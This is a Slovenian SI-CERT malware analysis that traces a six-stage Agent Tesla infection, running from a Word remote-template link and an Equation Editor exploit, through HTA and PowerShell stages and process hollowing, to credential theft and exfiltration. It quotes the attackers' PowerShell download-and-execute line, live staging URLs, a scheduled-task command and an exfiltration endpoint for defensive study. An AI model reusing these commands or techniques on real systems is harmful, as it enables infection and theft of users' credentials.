Skoči na vsebino

SI-CERT TZ012 / Analiza večstopenjske okužbe s trojanskim konjem Agent Tesla

Agent Tesla je trojanski konj za oddaljeni prevzem sistema (RAT, Remote-Access Trojan), ki se je prvič pojavil že leta 2014, prvo okužbo z njim pa na SI-CERT beležimo v letu 2019. Sodeč po številu prijav, je vedno bolj priljubljeno orodje napadalcev, kot pa pokaže podrobnejša analiza, se je razvil v napredno orodje.

Graf prikazuje število prijav primerov Agent Tesla na SI-CERT skozi leta 2019 - 2022.
Število prijav primerov Agent Tesla na SI-CERT skozi leta

Postopek okužbe se začne z Microsoft Office priponko, ki prispe po elektronski pošti. Proces okužbe vsebuje več stopenj, ki jih prikazuje spodnja infografika, natančnejši opis vseh stopenj pa sledi v nadaljevanju.

Grafika prikazuje večstopenjski proces okužbe računalnika v šestih korakih.
Večstopenjski proces okužbe računalnika

1. stopnja: Samodejni prenos in zagon RTF datoteke

Vzemimo primer Word dokumenta, ki na prvi pogled ne vsebuje veliko znakov škodljive datoteke. Protivirusna programska oprema ne pokaže, da bi bil dokument škodljiv, v strukturi dokumenta pa tudi ne opazimo makrov ali očitnih Object Linking and Embedding (OLE) predmetov, ki bi lahko izvršili okužbo. OLE predmeti predstavljajo dokumente ali druge datoteke, ki so povezane ali vgrajene v izvorni dokument. Primer: Word dokument lahko vsebuje zunanje dokumente (npr. PDF, Excel), ki se izvršijo ali prikažejo v njem.

Grafika prikazuje zaslonski posnetek orodja za analizo OLE struktur
OLE struktura dokumenta

Z orodjem za analizo OLE struktur, med katere spadajo tudi Word dokumenti, vidimo, da dokument res ne vsebuje VBA ali Excel makrov. Nas pa opozori, da vsebuje zunanjo relacijo. V tem primeru se ta relacija skriva v XML datoteki “word\_rels\webSettings.xml.rels”.

Grafika prikazuje vsebino XML datoteke
Vsebina XML datoteke

Vidimo, da je relacija tipa “frame” in vsebuje povezavo na “https://totallynotavirus.com/file” (naslov je izmišljen za namen tega prikaza). Torej dokument ne izkorišča ranljivosti in ne zaganja makrov, ampak vsebuje le eno dodatno vrstico, ki kaže na nevarnost. Če bi ta dokument odprli, se bi na zagonskem oknu pojavilo besedilo: “Downloading https://totallynotavirus.com/file (0%)”, kar kaže na prenos dodatnega dokumenta iz te lokacije. Pri tem je zelo pomembna podrobnost, da ob odprtju ni potrebena nobena dodatna interakcija s strani uporabnika, za razliko od makrov, ki za svojo izvršitev potrebujejo dodatno dovoljenje. To seveda lahko smatramo za varnostno pomanjkljivost.

Grafika prikazuje primer prenosa in prikaza HTML datoteke iz naslova "https://example.org/"
Primer prenosa in prikaza HTML datoteke iz naslova “https://example.org/”

Čeprav lahko za relacijo uporabimo katerokoli datoteko, ki jo Word podpira (.docx, .docm, .html, .rtf, .txt, itd.), se pri tem ne vključi izvajanje makrov (če ni bilo vključeno že prej), in se ne izvedejo zagonski makri (AutoOpen, AutoExec, Document_Open, ipd.). Datoteke, ki lahko vsebujejo dodatne programe npr. HTML (JavaScript) in PDF, samo prikaže in vsebovanih programov ne izvrši. Ker uporabniki pogosto bolj zaupajo Office dokumentom, predstavlja ta funkcija zanimivo dodatno opcijo, ki jo napadalci lahko izkoriščajo. Poleg tega ta funkcija tudi predstavlja dodaten vektor s katerim napadalci lahko izkoriščajo druge ranljivosti. Več o tem v naslednji sekciji.

2. stopnja: Zloraba ranljivosti urejevalnika enačb za izvršitev lupinske kode

V primeru, ki smo ga obravnavali, se je z uporabo zgornje tehnike prenesla in odprla Rich Text Format (RTF) datoteka. Format teh datoteke je tekstoven in jo lahko pregledamo s poljubnim urejevalnikom besedil.

Grafika je simbolne narave in ne informativne, ponazori RTF dokument, ki vsebuje veliko odvečnih podatkov
RTF dokument vsebuje veliko odvečnih podatkov

Na hiter pogled datoteka ni berljiva in vsebuje binarne podatke. Dokument se začne z znakom “{” in kontrolno besedo “\rt”. Čeprav ta kontrolna beseda ni definirana v RTF specifikaciji in bi morala biti neveljavna, jo Word sprejme kot veljaven začetek RTF dokumenta. Odstopanja od specifikacij seveda niso dobra in so mnogokrat vzrok ranljivosti.  Sledijo podatki, ki so povsem odvečni, saj ne vsebujejo kontrolnih besed in niso del posebnih elementov. Word te, na pogled binarne, podatke samo izpiše kot običajno besedilo in nad njim ne izvaja dodatnega procesiranja.

Grafika prikazuje dokument, ki vsebuje veliko odvečnih podatkov
Dokument vsebuje veliko odvečnih podatkov

Za odvečnimi podatki se skriva kontrolna beseda “\object”. Ta RTF dokumentom omogoča vgradnjo in povezovanje OLE predmetov. Kontrolni besedi sledi parameter “63159373”. Ker kontrolna beseda “\object” ne sprejme nobenih parametrov lahko ta parameter enostavno ignoriramo. Sledijo podatki, ki (zopet) niso definirani v  RTF specifikaciji in bi morali biti neveljavni. Veliko bralnikov zaradi takih neveljavnosti dokumenta sploh ne odpre, nekatera orodja za analizo pa vrnejo napačen rezultat. Magični razčlenjevalnik RTF-jev, ki ga uporablja Word, pa take dokumente brez kakršnegakoli problema odpre in prikaže. Kaj natančno ta razčlenjevalnik s temi podatki naredi ni povsem jasno. Z nekaj testiranja lahko ugotovimo, da se zadnjih nekaj podatkov prebere kot del “\result” kontrolne besede, ki se uporablja v “\object” elementih. Zatem sledi še nekaj podobnih metod s katerimi napadalci poskušajo otežiti analizo in zavajati orodja.

Naslednja pomembnejša kontrolna beseda je “\objdata”. S to kontrolno besedo navedemo podatke za “\object” element. Podatki so zapisani v obliki šestnajstiških nizov in se v tem primeru skrivajo za velikim številom praznih vrstic.

Grafika prikazuje podatke v šestnajstiških nizih, ki se skrivajo za velikim številom praznih vrstic
Iskanje podatkov za element qobjdata

Z malo preureditve (odstranitev odvečnih praznih vrstic, presledkov, ipd.) dobimo podatke OLE predmeta. Na tem mestu opazimo dva pomembna zaporedja bajtov. Prvi je “d0cf11e0a1”, ki predstavlja značilen podpis OLECF datotek, drugi pa “0002ce0200000000c000000000000046”. Ta predstavlja Class ID oz. CLSID za “Microsoft Equation 3.0” komponento. To je pomembna informacija, saj so za to komponento bile odkrite ranljivosti, ki omogočajo izvršitev poljubne kode, in se pogosto uporabljajo za dostavljanje zlonamerne programske opreme preko Office dokumentov. Te ranljivosti so znane pod oznakam CVE-2017-11882 in CVE-2018-0802, vendar se v njihove specifike tu ne bomo spuščali.

Za analizo lupinske kode (angl. shellcode), ki se izvrši z zlorabo ranljivosti, smo najprej podatke OLE predmeta iz šestnajstiškega niza pretvorili v binarno datoteko. Ker vemo, da se ranljivost izvede v programu EQNEDT32.exe, ga lahko modificiramo in dodamo novo sekcijo s podatki OLE predmeta.

Grafika prikazuje vstavljanje nove sekcije s podatki OLE predmeta v izvršljivo datoteko
Vstavljanje nove sekcije v izvršljivo datoteko

Modificiran program lahko nato analiziramo z uporabo razstavljavca (angl. disassembler).

Grafika prikazuje uporabo razstavljalca nad izvršljivo datoteko
Uporaba razstavljalca nad izvršljivo datoteko

Z orodjem za analizo OLE struktur ali pa z ročno analizo ugotovimo, da se na odmiku 0x800 nahaja MathType sekcija, ki je potrebna za izvršitev ranljivosti. Sekcija se začne z vrednostjo celotne velikosti sekcije, sledita glava in podatki. Podatki se začnejo na odmiku 0x80E in v tem primeru se tu nahaja tudi lupinska koda. Koda se začne s klicem funkcije GlobalLock, ki zaklene globalni pomnilniški objekt in vrne kazalec na prvi bajt njegovega bloka. Za parameter ta funkcija sprejme ročico za pomnilniški blok, ki se v tem primeru nahaja na naslovu 0x45BD3C. Predvidevamo, da je pri pravilni izvedbi tam zapisana ročica MathType sekcije. Za klicem GlobalLock funkcije, koda rezultatu doda 0xE3 in skoči na dobljen naslov. Ker vemo, da se MathType sekcija prične na odmiku 0x804 (velikost sekcije ni del sekcije), je potem nadaljevanje kode na odmiku 0x8E7 (0x804 + 0xE3).

Grafika prikazuje klic funkcije z odmikom 0x953
Klic funkcije z odmikom 0x953

Po nekaj skokih se pokliče funkcija z odmikom 0x953. Ta se začne z instrukcijo “POP”, kar je dober kazalec, da smo na pravi poti. Ker podtaknjena lupinska koda po navadi ne ve točno na katerem naslovu se izvaja, mora nekako pridobiti trenutni naslov. Pogosta metoda je uporaba instrukcije “CALL”, ki na sklad potisne naslov instrukcije za klicem (povratni naslov), v funkciji pa takoj izvede instrukcijo “POP”, ki iz sklada vzame ta naslov. Ta postopek bi bil v običajni kodi zelo nenavaden, saj s tem iz sklada odstrani povratni naslov, kar bi lahko povzročilo nepravilno delovanje programa.

Prikaz dešifrirane zanke.
Dešifrirana zanka

Kmalu v funkciji najdemo zanko, ki dešifrira in skoči na nadaljnjo kodo. Kodo dešifrira po zelo enostavnem postopku. Ključ se v vsaki iteraciji izračuna po formuli, “Ključ * 0x3fa54475 + 0x328bf451″, ki se nato uporabi v XOR operaciji s šifrirano kodo.

Da postopka ne izvajamo ročno, lahko uporabimo razhroščevalnik. Našemu modificiranemu programu spremenimo še vstopno točko na klic funkcije za dešifriranje (odmik 0x93D) in ga odpremo z razhroščevalnikom. Po skoku na dešifrirano kodo se izvedejo funkcije, ki pridobijo naslove nekaterih sistemskih modulov in API funkcij. Celotno izvajanje dešifrirane kode lahko opišemo z naslednjimi koraki:

  • pridobitev naslova modula “kernel32”,
  • pridobitev naslovov nekaterih API funkcij v “kernel32” modulu,
  • nalaganje knjižnice shell32 z uporabo “LoadLibraryW”,
  • pridobitev naslovov nekaterih API funkcij v “shell32” modulu,
  • kopiranje programa msha.exe v “C:\ProgramData\cond.com”,
  • zagon prekopiranega programa s parametrom “https://www.bitly.com/chawqwqwre”,
  • izhod programa.

Grafika prikazuje vsebino pomnilnika po dešifriranju
Vsebina pomnilnika po dešifriranju

Kaj dešifrirana koda naredi bi lahko že sklepali samo iz pogleda v pomnilnik po dešifriranju. Jasno se vidijo imena funkcij za nalaganje knjižnic (“LoadLibraryW”) in pridobitev naslovov API funkcij (“GetProcAddress”). Poleg tega vidimo imena funkcij za kopiranje datotek (“CopyFileW”) in izvršitev programa (“ShellExecuteW”). Vidijo se pa tudi parametri, ki se uporabijo pri klicu API funkcij (“%PROGRAMDATA%\cond.com”, ” https://www.bitly.com/chawqwqwre “).

3. stopnja: Izvedba JScript kode preko HTA

Okužba se torej nadaljuje z zagonom programa cond.com (kopija mshta.exe). Program mshta.exe je namenjen izvajanju HTML aplikacij (HTA). To so na pogled HTML datoteke, ki lahko vsebujejo dodatne razširitve in skriptne jezike (npr. JScript in VBScript). Ta dodatna funkcionalnost naredi HTA datoteke bolj nevarne kot HTML, saj dovoljujejo večji dostop do uporabniškega sistema. Imajo možnost spreminjanja datotek in registra, zagon lupinskih ukazov ter podobno. Poleg tega se HTA datoteke tudi ne izvajajo znotraj zaščitenih peskovnikov in vsebujejo le osnovne varnostne zaščite.

Grafika prikazuje vsebino HTA datoteke
Vsebina HTA datoteke

Parameter podan mshta programu predstavlja HTA datoteko, ki naj jo izvede. V tem primeru se ta datoteka nahaja na naslovu ” https://www.bitly.com/chawqwqwre “, ki pa je samo preusmeritev na “https://www.mediafire.com/file/xbno2jwr6ka83le/4.htm/file”. V tej datoteki najdemo “script” element v katerem se nahaja JScript koda. JScript je Microsoftov skriptni jezik, ki je baziran na ECMAScript standardu. Zaradi tega sta si JScript in JavaScript na pogled zelo podobna in v nekaterih primerih povsem izmenljiva.

Za lažjo analizo lahko datoteko najprej preuredimo z uporabo orodja za oblikovanje JavaScript datotek. V oblikovani datoteki opazimo, da uporablja rahlo zakrite nize in razne funkcije za dekodiranje. Vidimo tudi, da uporablja ActiveX ogrodje, ki je del JScript jezika. Poleg tega ne najdemo kakšnih drugih razlik, ki bi odstopale od JavaScript jezika. To lahko v tem primeru izkoristimo. Na vrh datoteke dodamo definicijo razreda “ActiveXObject” in metode, ki se v tem primeru uporabljajo. Sedaj lahko to JavaScript kodo brez problemov izvršimo znotraj brskalnika.

function ActiveXObject() {
    console.log("ActiveXObject Constructor", Array.prototype.slice.call(arguments).join());
 
    this.CopyFile = function() {
        console.log("ActiveXObject CopyFile", Array.prototype.slice.call(arguments).join());
    }
 
    this.Run = function() {
        console.log("ActiveXObject Run", Array.prototype.slice.call(arguments).join());
        return 0;
    }
}

S tem postopkom lahko datoteko varno izvršimo, poleg tega pa lahko iz izpisa zgornjih metod zberemo celotno delovanje JScript kode.

ActiveX objekti v kodi
ActiveX objekti v kodi

Iz izpisa jasno vidimo, da uporablja dva ActiveX objekta. Prvi je tipa “Wscript.Shell” in se uporablja za izvršitev lupinskih ukazov. Drugi je “Scripting.FileSystemObject”, ki ga uporabi za kopiranje datotek. Najprej prekopira PowerShell program na mesto “C:\ProgramData\calcs.com”, ki ga nato zažene v skritem oknu. Zažene tudi program schtasks.exe in z njim ustvari novo opravilo, ki vsakih 87 minut izvrši ukaz “%public%/peee.com https://www.mediafire.com/file/g8ye5hlegll92lu/4.htm/file”. Omenjen naslov vsebuje HTA datoteko, ki je zelo podobna, zato se vanjo ne bomo spuščali. Zatem še prekopira mshta.exe v “C:\ProgramData\cond.com” in izvrši nekaj ukazov za prekinitev procesov.

4. stopnja: Izvajanje PowerShell skripte

Analizo nadaljujemo s PowerShell ukazom, ki je bil podan kot parametru pri zagonu novega procesa:

“i’e’x([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create(‘https://www.mediafire.com/file/wbh1kq3u82mcso6/4.dll/file’).GetResponse().GetResponseStream()).ReadToend());,0”

Enojne narekovaje pri “i’e’x” lahko ignoriramo, “iex” je pa kratica za ukaz “Invoke-Expression”. S tem ukazom lahko izvršimo ukaz naveden v znakovnem nizu. V tem primeru znakovni niz pridobi iz datoteke na naslovu ” https://www.mediafire.com/file/wbh1kq3u82mcso6/4.dll/file”. Tam se nahaja PowerShell skripta, ki opravi glavni del odpakiranja zlonamernega programa.

Grafika prikazuje zaslonski posnetek Powershell skripte
Powershell skripta

Skripta se začne z ukazi, ki v register zapišejo novo vrednost. Pot ključa, kamor doda vrednost, je “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, ki se uporablja za dodajanje zagonskih programov. Sledi funkcija, ki pridobi tip “Convert”, nato izpiše njegove metode in poišče metodo z imenom, ki se začne z “F” in konča z “g”. Izkaže se, da je to metoda “FromBase64String”, s katero dekodiramo znakovne nize v Base64 obliki (in ta se seveda tudi izvede na podani vrenosti). Ime naslednje funkcije je “Get-DecompressedByteArray”, kar namiguje, da se uporablja za dekompresijo. Če pogledamo še znotraj funkcije, najdemo spremenljivko z imenom “gzipStream” in niz “Decompress”, kar dodatno namiguje, da se uporablja za gzip dekompresijo.

Grafika prikazuje del Powershell kode
Del Powershell kode

Sledita dve spremenljivki, ki vsebujeta veliko število bajtov, in zatem še dva klica funkcije “Get-DecompressedByteArray”. Proti koncu skripte opazimo še eno spremenljivko, ki vsebuje znakovni niz. Že iz samega zgleda bi lahko prepoznali, da gre za Base64 kodiran niz, poleg tega se pa tudi uporabi pri klicu omenjene funkcije za Base64 dekodiranje. Če ta niz dekodiramo, dobimo PowerShell kodo, ki se čisto na koncu skripte tudi izvede.

Izvedba dekodirane kode preko klica aspnet_compiler.exe
Izvedba dekodirane kode preko klica aspnet_compiler.exe


V dekodirani kodi se najprej uporabi klic metode “[Reflection.Assembly]::Load”. Z njo lahko naložimo .NET modul, ki ga podamo v parametru. V tem primeru naloži modul, ki se nahaja v drugem polju dekompresiranih podatkov. Ko modul naloži pridobi razred “PA”, ki se nahaja znotraj imenskega prostora “projFUD”. Zatem pa pridobi še metodo “Execute”, ki se nahaja znotraj tega razreda. To metodo nato pokliče, za parametre pa poda pot “C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe” in prvo polje dekompresiranih podatkov. Glede na parametre, ki jih ta metoda sprejme ta metoda, bi lahko že sklepali, da gre za program, ki zažene program (“aspnet_compiler.exe”) in vanj vrine kodo.

Da PowerShell kode ne zaganjamo po nepotrebnem lahko uporabimo CyberChef orodje in z njem oba polja najprej dekodiramo in nato naredimo še gzip dekompresijo. Po dekompresiji ugotovimo, da oba polja vsebujeta .NET modul.

5. stopnja: Izdolbevanje procesa in vrivanje zlonamerne kode

Sedaj poglejmo, kaj se skriva znotraj .NET modula, katerega naloži PowerShell skripta. Za analizo .NET kode lahko uporabimo dnSpy program. Vsebuje pomembne funkcije kot so: branje in razčlenjevanje PE glave, prikaz .NET vmesnega jezika (IL) ter razstavljanje IL kode v funkcijsko ekvivalentno .NET. Poleg tega vsebuje tudi razhroščevalnik.

Uporaba dnSpy programa
Uporaba dnSpy programa

Če si z dnSpy pogledamo metodo “Execute”, ugotovimo, da je modul obfuskiran. Obfuskacija je izraz pod katerega spadajo različne metode, ki se uporabljajo za zakrivanje delovanja programa. V tem primeru uporablja metode, ki zakrijejo potek delovanja, imena spremenljivk, razredov, funkcij, ipd. so zamenjana z naključnimi znaki, pomembnejši znakovni nizi so pa zakriti in se dešifrirajo šele ob uporabi. Pri analizi takih programov si lahko pomagamo z razhroščevalnikom. V konstruktorju razreda, ki vsebuje metodo “Execute”, najdemo spremenljivke vrse “delegate”. Ta tip predstavlja referenco na neko metodo oz. funkcijo z določenim tipom in parametri. V zlonamerni programski kodi se pogosto uporablja za zakritje imen Windows API funkcij.

Z razhroščevanjem smo ugotovili, da se “delegati” v konstruktorju nanašajo na sledeče Windows API funkcije:

  • kernel32.ResumeThread
  • kernel32.Wow64SetThreadContext
  • kernel32.SetThreadContext
  • kernel32.Wow64GetThreadContext
  • kernel32.GetThreadContext
  • kernel32.VirtualAllocEx
  • kernel32.WriteProcessMemory
  • kernel32.ReadProcessMemory
  • ntdll.ZwUnmapViewOfSection
  • kernel32.CreateProcessA

Ta nabor funkcij je dober znak, da program res vriva kodo v drug proces, saj se vse te funkcije uporabljajo pri tehniki znani pod imenom izdolbevanje procesa (angl. “Process Hollowing”). Ta tehnika deluje tako, da se nekemu procesu odstrani in zamenja kodo z drugo.

Nadaljnje razhroščevanje je pokazalo ta proces znotraj metode “Execute”. Najprej ustvari nov proces s klicem funkcije “kernel32.CreateProcessA”. V tem primeru se pot programa za novo ustvarjen proces nastavi na parameter, podan metodi “Execute” (” C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe “). Nastavi se tudi zastavica, ki začasno prekine ustvarjen proces. Program torej ustvari nov proces, vendar se njegova koda ne izvede. Lahko bi rekli, da se program le naloži v pomnilnik. Nato s klicem funkcije “kernel32.GetThreadContext” pridobi virtualni naslov sekcije, kjer je v novem procesu naložen program. Zatem odstrani to sekcijo s klicem funkcije “ntdll.ZwUnmapViewOfSection”. S funkcijo “kernel32.VirtualAllocEx” v kreiranem procesu ustvari novo sekcijo. Vanjo zapiše sekcije programa podanega v drugem parametru. Na koncu s klicem “kernel32.SetThreadContext” nastavi še začetni oz. vstopni naslov novega procesa in pokliče funkcijo “kernel32.ResumeThread”, ki spremeni stanje niti iz začasno prekinjene v zagnano. S tem je ta modul svojo nalogo zaključil, izvajanje se pa nadaljuje znotraj ” aspnet_compiler.exe ” procesa.

Pregled (na videz legitimnega) procesa, v katerem se izvaja škodljiva koda
Pregled (na videz legitimnega) procesa, v katerem se izvaja škodljiva koda

Proces ima izgled legitimnega programa, čeprav se v njem izvaja povsem druga koda.

6. stopnja: Izvedba Agent Tesla trojanskega konja

Analizo nadaljujemo s programom, ki je podan v drugem parametru “Execute” metode in se vrine v ” aspnet_compiler .exe” proces.

Identifikacija SmartAssemby obfuskacije
Identifikacija SmartAssemby obfuskacije

Ko ga odpremo v orodju dnSpy, opazimo atribut “Powered by SmartAssembly”. Ta je značilen za module, ki so bili obfuskirani z uporabo SmartAssembly .NET obfuskirnika. Podobno kot zgornji modul tudi ta obfuskira potek programa, imena metod in razredov ter zakrije znakovne nize. Dodatno vsebuje še druge tehnike, ki otežijo analizo. Pri analizi obfuskiranih .NET modulov si lahko pomagamo z orodjem de4dot . Z njim lahko deobfuskiramo in odpakiramo veliko število popularnih .NET obfuskatorjev in pakirnikov. Vsebuje metode za preimenovanje razredov, spremenljivk, naslovnih prostorov v človeku bolj prijazna imena. Med drugim pa lahko z njim tudi dešifriramo zakrite nize, če poznamo žeton oz. ID funkcije, ki jih dešifrira.

Uporaba orodja de4dot
Uporaba orodja de4dot

Z analizo deobfuskiranega modula sedaj lahko ugotovimo, da gre za vrsto trojanskega konja Agent Tesla. V njem najdemo veliko metod, ki pridobijo različne informacije o sistemu in uporabniku. Vsebuje funkcije za krajo gesel in sej iz ogromnega števila programov (brskalniki, odjemalci pošte, FTP in VPN, programi za sporočanje, ipd.). Vse zbrane podatke nato eksfiltrira oz. pošlje na strežnike, ki so pod nadzorom napadalcev. V tem primeru smo ugotovili, da podatke preko HTTP protokola pošilja na naslov “http://192.154.226.47/lingier/p4fdaksodkaosdk/mawa/7c44694d9b35fce81ec6.php”. Z analizo kode in podobnih primerov smo odkrili, da Agent Tesla uporablja različne eksfiltracijske kanale:

  • FTP – uporaba protokola za prenos datotek,
  • SMTP – uporaba email sporočil s priponkam,
  • HTTP – uporaba HTTP POST sporočil,
  • Telegram – uporaba Telegram API za pošiljanje sporočil in priponk v pogovorne sobe. Uporablja se v novejših verzijah zaradi pogostih blokad ostalih metod.

Največkrat se uporablja eksfiltracija preko protokola SMTP, pri tem pa v dosedanjih primerih Agent Tesle še nismo odkrili uporabe več kanalov hkrati.

Primeri eksfiltracije podatkov iz okuženega sistema
Primeri eksfiltracije podatkov iz okuženega sistema

Pri eksfiltraciji preko HTTP omogoča pošiljanje tudi preko posredniškega strežnika. Pri tem je zanimivo to, da lahko za posredniški strežnik uporabi Tor posrednika za povezavo v Tor omrežje. Posrednika lahko prenese, razširi in namesti kar neposredno iz programa.

Namestitev Tor posrednika
Namestitev Tor posrednika

Poleg teh podatkov lahko tudi periodično pošilja zaslonske slike in podatke shranjene v odložišču.

Koda za zajem zaslonske slike
Koda za zajem zaslonske slike

Kot vidimo, Agent Tesla vsebuje masiven nabor funkcij, ki jih zločinci lahko zakupijo in po želji konfigurirajo. Ta model se v zadnjih letih širi in je znan pod imenom Malware-as-a-Service (MaaS).

Opomba: Za namen zapisa sta bila uporabljena in združena dva vzorca Agent Tesle z različnim začetnim stopnjam in eksfiltracijskim kanalom:

SHA-256: ced0d8cfbe6661b06895f777ccf1bc6b387d5fbe97a3b2b63d31a65025fe7553

SHA-256: a933c776a85c37bf175ce67be085732e374559d1e7e0549304dbf7151bd9ec55

Preberite tudi

SI-CERT TZ011 / Napadi z izsiljevalskimi virusi

Do leta 2019 so bile žrtve vdorov izbrane naključno, v obdobju po tem pa so napadi bolj ciljani. Vektorja okužbe sta elektronsko sporočilo z zlonamerno priponko ali vdor skozi neustrezno zaščitene storitve za oddaljen dostop (Remote Desktop). Storilci izkoriščajo tudi nove ranljivosti, ki omogočajo nepooblaščen vstop v omrežje.
Več

Kibernetski napad na medijsko hišo PRO PLUS

Medijska hiša Pro Plus d.o.o. je v torek, 8. 2. 2022, objavila, da je žrtev hekerskega napada. SI-CERT sodeluje s Pro Plus pri obravnavi incidenta, drugih podrobnosti pa ta trenutek ne moremo razkriti.
Več

QNAP omrežne shrambe cilja nov izsiljevalski virus

QNAP omrežne shrambe so tarče izsiljevalskega virusa DeadBolt. Posledica je izguba vseh podatkov na NAS napravi. Nemudoma namestite popravke proizvajalca.
Več